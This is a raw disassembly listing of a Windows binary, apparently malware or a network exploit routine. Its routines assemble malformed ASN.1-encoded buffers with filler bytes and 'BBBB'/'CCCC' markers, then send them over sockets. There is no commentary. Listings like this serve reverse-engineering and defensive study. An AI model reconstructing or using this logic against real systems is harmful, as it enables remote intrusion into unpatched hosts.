		dd 0FFFFFF60h, 0FFE34DE8h, 0C03359FFh, 0C2C95E5Fh
		db 4, 0
word_40F4BE	dw 8B55h		; DATA XREF: sub_4021E5+7F4Eo
		dd 38EC81ECh, 56000001h, 8758B57h, 8D592B6Ah, 0FFFED4BDh
		dd 8BA5F3FFh, 85890845h, 0FFFFFED0h, 0FED0858Bh, 80C7FFFFh
		dd 0A4h, 1, 8558016Ah, 0D5840FC0h, 0FF000000h, 0FFFF58B5h
		dd 68B5FFFFh, 0FFFFFFFFh, 4E178C15h, 0C4685000h, 8D004498h
		dd 0E8508045h, 124A4h, 6810C483h, 1FFh,	5080458Dh, 0FF64858Bh
		dd 0C069FFFFh, 234h, 45441805h,	31E85000h, 8300011Fh, 858D0CC4h
		dd 0FFFFFECCh, 8D006A50h, 0FFFED485h, 386850FFh, 6A0040F2h
		dd 90006A00h, 3A1081E8h, 0C8858902h, 83FFFFFEh,	0FFFEC8BDh
		dd 137400FFh, 0FF7CBD83h, 7500FFFFh, 0E8326A0Ah, 23A0F0Ah
		dd 0FFEDEB90h, 0FFFEC8B5h, 0E9E890FFh, 8B02380Fh, 0FFFED085h
		dd 0A8A083FFh, 0
		dd 0FED0858Bh, 0B0FFFFFFh, 8Ch,	0EDCE890h, 858B023Ah, 0FFFFFF58h
		dd 0FF5C853Bh, 275FFFFh, 858B12EBh, 0FFFFFF58h,	58858940h
		dd 0E9FFFFFFh, 0FFFFFF20h, 0FF68B5FFh, 15FFFFFFh, 4E178Ch
		dd 98F06850h, 458D0044h, 0D5E85080h, 83000123h,	6A0CC4h
		dd 0FF70B5FFh, 458DFFFFh, 858D5080h, 0FFFFFED8h, 0D4B5FF50h
		dd 0E8FFFFFEh, 0FFFFBA03h, 0FF14C483h, 0FFFF64B5h, 0E1E8E8FFh
		dd 3359FFFFh, 0C95E5FC0h
; ---------------------------------------------------------------------------
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F623	proc near		; CODE XREF: sub_40F9E5+Fp
					; sub_40F9E5+49p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40F623	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		push	dword ptr [ebp+8]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-8]
		call	sub_40F66E
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	edx, [ebp-0Ch]
		mov	[edx], ecx
		mov	[edx+4], eax
		mov	eax, [ebp-0Ch]
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F66E	proc near		; CODE XREF: .XComp0:0040F655p
					; sub_40F9E5+145p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		push	[ebp+arg_4]
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40F68A
		jmp	short loc_40F6BC
; ---------------------------------------------------------------------------


loc_40F68A:				; CODE XREF: sub_40F66E+18j
		push	[ebp+arg_4]
		push	0
		push	[ebp+var_4]
		call	sub_421410
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx


loc_40F6BC:				; CODE XREF: sub_40F66E+1Aj
		mov	eax, [ebp+var_8]
		leave
		retn	8
sub_40F66E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6C3	proc near		; CODE XREF: sub_40F85E+1Ep
					; sub_40F8F2+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_C]
		push	eax
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40F6E3
		jmp	short loc_40F731
; ---------------------------------------------------------------------------


loc_40F6E3:				; CODE XREF: sub_40F6C3+1Cj
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_C]
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_421410
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_422B50
		add	esp, 0Ch
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx


loc_40F731:				; CODE XREF: sub_40F6C3+1Ej
		mov	eax, [ebp+var_8]
		leave
		retn	10h
sub_40F6C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F738	proc near		; CODE XREF: sub_40F85E+71p
					; sub_40F85E+8Bp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_40F752
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		call	sub_41F930
		pop	ecx


loc_40F752:				; CODE XREF: sub_40F738+Dj
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		and	dword ptr [eax], 0
		leave
		retn
sub_40F738	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F761	proc near		; CODE XREF: sub_40F85E+26p
					; sub_40F969+Cp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+4], 0FFFFh
		jl	short loc_40F77D
		xor	al, al
		jmp	locret_40F85C
; ---------------------------------------------------------------------------


loc_40F77D:				; CODE XREF: sub_40F761+13j
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+4], 7Fh
		jge	short loc_40F78F
		mov	[ebp+var_8], 1
		jmp	short loc_40F796
; ---------------------------------------------------------------------------


loc_40F78F:				; CODE XREF: sub_40F761+23j
		mov	[ebp+var_8], 3


loc_40F796:				; CODE XREF: sub_40F761+2Cj
		mov	eax, [ebp+var_C]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		push	eax
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40F7B6
		xor	al, al
		jmp	locret_40F85C
; ---------------------------------------------------------------------------


loc_40F7B6:				; CODE XREF: sub_40F761+4Cj
		mov	eax, [ebp+var_C]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_421410
		add	esp, 0Ch
		cmp	[ebp+var_8], 1
		jnz	short loc_40F7F8
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	cl, [ecx+4]
		mov	[eax], cl
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		jmp	short loc_40F838
; ---------------------------------------------------------------------------


loc_40F7F8:				; CODE XREF: sub_40F761+70j
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	82h
		mov	eax, [ebp+var_C]
		mov	eax, [eax+4]
		sar	eax, 8
		mov	ecx, [ebp+var_4]
		mov	[ecx+1], al
		mov	eax, [ebp+var_C]
		mov	eax, [eax+4]
		and	eax, 0FFh
		mov	ecx, [ebp+var_4]
		mov	[ecx+2], al
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		mov	eax, [ebp+var_4]
		add	eax, 3
		push	eax
		call	sub_422B50
		add	esp, 0Ch


loc_40F838:				; CODE XREF: sub_40F761+95j
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		call	sub_41F930
		pop	ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		add	ecx, [eax+4]
		mov	eax, [ebp+var_C]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	al, 1

locret_40F85C:				; CODE XREF: sub_40F761+17j
					; sub_40F761+50j
		leave
		retn
sub_40F761	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F85E	proc near		; CODE XREF: sub_40F9E5+A5p
					; sub_40F9E5+100p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_10]
		push	dword ptr [eax]
		push	1
		push	offset dword_4E4434
		lea	ecx, [ebp+var_C]
		call	sub_40F6C3
		lea	ecx, [ebp+var_C]
		call	sub_40F761
		mov	eax, [ebp+var_8]
		inc	eax
		push	eax
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40F8A1
		xor	al, al
		jmp	short locret_40F8F0
; ---------------------------------------------------------------------------


loc_40F8A1:				; CODE XREF: sub_40F85E+3Dj
		mov	eax, [ebp+var_8]
		inc	eax
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_421410
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	3
		push	[ebp+var_8]
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	ecx, [ebp+var_10]
		call	sub_40F738
		mov	eax, [ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_10]
		mov	[ecx+4], eax
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	ecx, [ebp+var_C]
		call	sub_40F738
		mov	al, 1

locret_40F8F0:				; CODE XREF: sub_40F85E+41j
		leave
		retn
sub_40F85E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8F2	proc near		; CODE XREF: sub_40F930+17p
					; sub_40F950+10p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	ecx, [ebp+var_8]
		call	sub_40F6C3
		mov	ecx, [ebp+var_C]
		call	sub_40F738
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		mov	al, 1
		leave
		retn	8
sub_40F8F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F930	proc near		; CODE XREF: sub_40F9E5+110p
					; sub_40F9E5+189p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_40F8F2
		leave
		retn	4
sub_40F930	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F950	proc near		; CODE XREF: sub_40F9B9+10p
					; sub_40F9E5+1D4p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_40F8F2
		leave
		retn	8
sub_40F950	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F969	proc near		; CODE XREF: sub_40F9B9+23p
					; sub_40F9E5+ADp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+var_C]
		call	sub_40F761
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40F985
		xor	al, al
		jmp	short locret_40F9B7
; ---------------------------------------------------------------------------


loc_40F985:				; CODE XREF: sub_40F969+16j
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		push	1
		push	(offset	loc_449C87+1)
		lea	ecx, [ebp+var_8]
		call	sub_40F6C3
		mov	ecx, [ebp+var_C]
		call	sub_40F738
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		mov	al, 1

locret_40F9B7:				; CODE XREF: sub_40F969+1Aj
		leave
		retn
sub_40F969	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9B9	proc near		; CODE XREF: sub_40F9E5+15Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_40F950
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40F9D9
		xor	al, al
		jmp	short locret_40F9E1
; ---------------------------------------------------------------------------


loc_40F9D9:				; CODE XREF: sub_40F9B9+1Aj
		mov	ecx, [ebp+var_4]
		call	sub_40F969

locret_40F9E1:				; CODE XREF: sub_40F9B9+1Ej
		leave
		retn	8
sub_40F9B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9E5	proc near		; CODE XREF: .XComp0:00410567p

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= byte ptr -840h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		lea	ecx, [ebp+var_848]
		call	sub_40F623
		cmp	[ebp+arg_8], 408h
		jg	short loc_40FA0F
		mov	eax, [ebp+arg_10]
		add	eax, 8
		cmp	eax, 408h
		jbe	short loc_40FA2B


loc_40FA0F:				; CODE XREF: sub_40F9E5+1Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_848]
		mov	[eax], ecx
		mov	ecx, [ebp+var_844]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_0]
		jmp	locret_40FD9D
; ---------------------------------------------------------------------------


loc_40FA2B:				; CODE XREF: sub_40F9E5+28j
		lea	ecx, [ebp+var_10]
		call	sub_40F623
		lea	ecx, [ebp+var_28]
		call	sub_40F623
		lea	ecx, [ebp+var_858]
		call	sub_40F623
		lea	ecx, [ebp+var_40]
		call	sub_40F623
		lea	ecx, [ebp+var_38]
		call	sub_40F623
		lea	ecx, [ebp+var_18]
		call	sub_40F623
		lea	ecx, [ebp+var_850]
		call	sub_40F623
		push	4
		push	offset dword_449928
		lea	ecx, [ebp+var_10]
		call	sub_40F8F2
		push	3
		push	offset dword_449930
		lea	ecx, [ebp+var_10]
		call	sub_40F8F2
		lea	ecx, [ebp+var_10]
		call	sub_40F85E
		lea	ecx, [ebp+var_10]
		call	sub_40F969
		push	800h
		push	42h
		lea	eax, [ebp+var_840]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [ebp+var_28]
		call	sub_40F8F2
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_28]
		call	sub_40F8F2
		mov	eax, 409h
		sub	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_840]
		push	eax
		lea	ecx, [ebp+var_28]
		call	sub_40F8F2
		lea	ecx, [ebp+var_28]
		call	sub_40F85E
		push	offset loc_449C8C
		lea	ecx, [ebp+var_858]
		call	sub_40F930
		lea	ecx, [ebp+var_858]
		call	sub_40F85E
		push	800h
		push	44h
		lea	eax, [ebp+var_840]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	410h
		lea	eax, [ebp+var_840]
		push	eax
		lea	ecx, [ebp+var_20]
		call	sub_40F66E
		lea	ecx, [ebp+var_20]
		call	sub_40F85E
		push	[ebp+var_1C]
		push	[ebp+var_20]
		lea	ecx, [ebp+var_858]
		call	sub_40F9B9
		lea	ecx, [ebp+var_20]
		call	sub_40F738
		push	800h
		push	43h
		lea	eax, [ebp+var_840]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_40]
		call	sub_40F930
		push	4
		push	offset dword_449934
		lea	ecx, [ebp+var_40]
		call	sub_40F8F2
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_40]
		call	sub_40F8F2
		mov	eax, 408h
		sub	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_840]
		push	eax
		lea	ecx, [ebp+var_40]
		call	sub_40F8F2
		lea	ecx, [ebp+var_40]
		call	sub_40F85E
		push	[ebp+var_3C]
		push	[ebp+var_40]
		lea	ecx, [ebp+var_38]
		call	sub_40F950
		push	[ebp+var_854]
		push	[ebp+var_858]
		lea	ecx, [ebp+var_38]
		call	sub_40F950
		lea	ecx, [ebp+var_38]
		call	sub_40F969
		lea	ecx, [ebp+var_40]
		call	sub_40F738
		lea	ecx, [ebp+var_858]
		call	sub_40F738
		push	[ebp+var_24]
		push	[ebp+var_28]
		lea	ecx, [ebp+var_18]
		call	sub_40F950
		push	[ebp+var_C]
		push	[ebp+var_10]
		lea	ecx, [ebp+var_18]
		call	sub_40F950
		push	[ebp+var_34]
		push	[ebp+var_38]
		lea	ecx, [ebp+var_18]
		call	sub_40F950
		lea	ecx, [ebp+var_18]
		call	sub_40F969
		lea	ecx, [ebp+var_28]
		call	sub_40F738
		lea	ecx, [ebp+var_10]
		call	sub_40F738
		lea	ecx, [ebp+var_38]
		call	sub_40F738
		push	800h
		push	41h
		lea	eax, [ebp+var_840]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	400h
		lea	eax, [ebp+var_840]
		push	eax
		lea	ecx, [ebp+var_850]
		call	sub_40F8F2
		lea	ecx, [ebp+var_850]
		call	sub_40F85E
		push	2
		push	offset dword_449CA0
		lea	ecx, [ebp+var_850]
		call	sub_40F8F2
		push	[ebp+var_14]
		push	[ebp+var_18]
		lea	ecx, [ebp+var_850]
		call	sub_40F950
		lea	ecx, [ebp+var_850]
		call	sub_40F969
		lea	ecx, [ebp+var_18]
		call	sub_40F738
		lea	ecx, [ebp+var_8]
		call	sub_40F623
		lea	ecx, [ebp+var_30]
		call	sub_40F623
		push	[ebp+var_84C]
		push	[ebp+var_850]
		lea	ecx, [ebp+var_8]
		call	sub_40F950
		lea	ecx, [ebp+var_8]
		call	sub_40F761
		lea	ecx, [ebp+var_850]
		call	sub_40F738
		push	offset dword_449CA4
		lea	ecx, [ebp+var_30]
		call	sub_40F930
		push	[ebp+var_4]
		push	[ebp+var_8]
		lea	ecx, [ebp+var_30]
		call	sub_40F950
		lea	ecx, [ebp+var_30]
		call	sub_40F761
		lea	ecx, [ebp+var_8]
		call	sub_40F738
		push	offset dword_449CA8
		lea	ecx, [ebp+var_8]
		call	sub_40F930
		push	[ebp+var_2C]
		push	[ebp+var_30]
		lea	ecx, [ebp+var_8]
		call	sub_40F950
		lea	ecx, [ebp+var_8]
		call	sub_40F761
		lea	ecx, [ebp+var_30]
		call	sub_40F738
		push	offset dword_449CAC
		lea	ecx, [ebp+var_30]
		call	sub_40F930
		push	[ebp+var_4]
		push	[ebp+var_8]
		lea	ecx, [ebp+var_30]
		call	sub_40F950
		lea	ecx, [ebp+var_30]
		call	sub_40F761
		lea	ecx, [ebp+var_8]
		call	sub_40F738
		push	offset dword_449CB8
		lea	ecx, [ebp+var_848]
		call	sub_40F930
		push	[ebp+var_2C]
		push	[ebp+var_30]
		lea	ecx, [ebp+var_848]
		call	sub_40F950
		lea	ecx, [ebp+var_30]
		call	sub_40F738
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_848]
		mov	[eax], ecx
		mov	ecx, [ebp+var_844]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_0]

locret_40FD9D:				; CODE XREF: sub_40F9E5+41j
		leave
		retn
sub_40F9E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD9F	proc near		; CODE XREF: sub_40FF4A+177p
					; sub_40FF4A+1BEp ...

var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		and	[ebp+var_208], 0
		and	[ebp+var_104], 0


loc_40FDB6:				; CODE XREF: sub_40FD9F+89j
		and	[ebp+var_214], 0
		jmp	short loc_40FDCC
; ---------------------------------------------------------------------------


loc_40FDBF:				; CODE XREF: sub_40FD9F:loc_40FDEEj
		mov	eax, [ebp+var_214]
		inc	eax
		mov	[ebp+var_214], eax


loc_40FDCC:				; CODE XREF: sub_40FD9F+1Ej
		mov	eax, [ebp+var_214]
		cmp	eax, [ebp+var_208]
		jnb	short loc_40FDF0
		mov	eax, [ebp+var_214]
		mov	eax, [ebp+eax*4+var_204]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40FDEE
		jmp	short loc_40FDF0
; ---------------------------------------------------------------------------


loc_40FDEE:				; CODE XREF: sub_40FD9F+4Bj
		jmp	short loc_40FDBF
; ---------------------------------------------------------------------------


loc_40FDF0:				; CODE XREF: sub_40FD9F+39j
					; sub_40FD9F+4Dj
		mov	eax, [ebp+var_214]
		cmp	eax, [ebp+var_208]
		jnz	short loc_40FE24
		cmp	[ebp+var_208], 40h
		jnb	short loc_40FE24
		mov	eax, [ebp+var_214]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_204], ecx
		mov	eax, [ebp+var_208]
		inc	eax
		mov	[ebp+var_208], eax


loc_40FE24:				; CODE XREF: sub_40FD9F+5Dj
					; sub_40FD9F+66j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40FDB6


loc_40FE2A:				; CODE XREF: sub_40FD9F+FDj
		and	[ebp+var_218], 0
		jmp	short loc_40FE40
; ---------------------------------------------------------------------------


loc_40FE33:				; CODE XREF: sub_40FD9F:loc_40FE62j
		mov	eax, [ebp+var_218]
		inc	eax
		mov	[ebp+var_218], eax


loc_40FE40:				; CODE XREF: sub_40FD9F+92j
		mov	eax, [ebp+var_218]
		cmp	eax, [ebp+var_104]
		jnb	short loc_40FE64
		mov	eax, [ebp+var_218]
		mov	eax, [ebp+eax*4+var_100]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40FE62
		jmp	short loc_40FE64
; ---------------------------------------------------------------------------


loc_40FE62:				; CODE XREF: sub_40FD9F+BFj
		jmp	short loc_40FE33
; ---------------------------------------------------------------------------


loc_40FE64:				; CODE XREF: sub_40FD9F+ADj
					; sub_40FD9F+C1j
		mov	eax, [ebp+var_218]
		cmp	eax, [ebp+var_104]
		jnz	short loc_40FE98
		cmp	[ebp+var_104], 40h
		jnb	short loc_40FE98
		mov	eax, [ebp+var_218]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_100], ecx
		mov	eax, [ebp+var_104]
		inc	eax
		mov	[ebp+var_104], eax


loc_40FE98:				; CODE XREF: sub_40FD9F+D1j
					; sub_40FD9F+DAj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40FE2A
		mov	[ebp+var_210], 0Ah
		and	[ebp+var_20C], 0
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		lea	eax, [ebp+var_208]
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_40FEDA
		xor	eax, eax
		jmp	short locret_40FF03
; ---------------------------------------------------------------------------


loc_40FEDA:				; CODE XREF: sub_40FD9F+135j
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		call	sub_43D456
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40FEF1
		xor	eax, eax
		jmp	short locret_40FF03
; ---------------------------------------------------------------------------


loc_40FEF1:				; CODE XREF: sub_40FD9F+14Cj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4E1718	; recv

locret_40FF03:				; CODE XREF: sub_40FD9F+139j
					; sub_40FD9F+150j
		leave
		retn
sub_40FD9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF05	proc near		; CODE XREF: sub_40FF4A+147p
					; sub_40FF4A+18Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4E16FC	; ntohl
		mov	[ebp+var_4], eax
		push	0
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		cmp	eax, 4
		jz	short loc_40FF2F
		xor	al, al
		jmp	short locret_40FF48
; ---------------------------------------------------------------------------


loc_40FF2F:				; CODE XREF: sub_40FF05+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax

locret_40FF48:				; CODE XREF: sub_40FF05+28j
		leave
		retn
sub_40FF05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF4A	proc near		; CODE XREF: sub_410120+55p
					; .XComp0:004106C1p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		mov	eax, [ebp+arg_8]
		add	eax, 41h
		mov	[ebp+var_108], eax
		push	[ebp+var_108]
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0
		jnz	short loc_40FF81
		xor	al, al
		jmp	locret_41011E
; ---------------------------------------------------------------------------


loc_40FF81:				; CODE XREF: sub_40FF4A+2Ej
		push	[ebp+var_108]
		push	0
		push	[ebp+var_10C]
		call	sub_421410
		add	esp, 0Ch
		and	[ebp+var_104], 0
		push	2Fh
		push	offset dword_4499C4
		push	[ebp+var_10C]
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_104]
		add	eax, 2Fh
		mov	[ebp+var_104], eax
		mov	eax, [ebp+var_10C]
		add	eax, [ebp+var_104]
		mov	cx, word ptr [ebp+arg_8]
		mov	[eax], cx
		mov	eax, [ebp+var_104]
		inc	eax
		inc	eax
		mov	[ebp+var_104], eax
		push	8
		push	offset dword_4499F4
		mov	eax, [ebp+var_10C]
		add	eax, [ebp+var_104]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_104]
		add	eax, 8
		mov	[ebp+var_104], eax
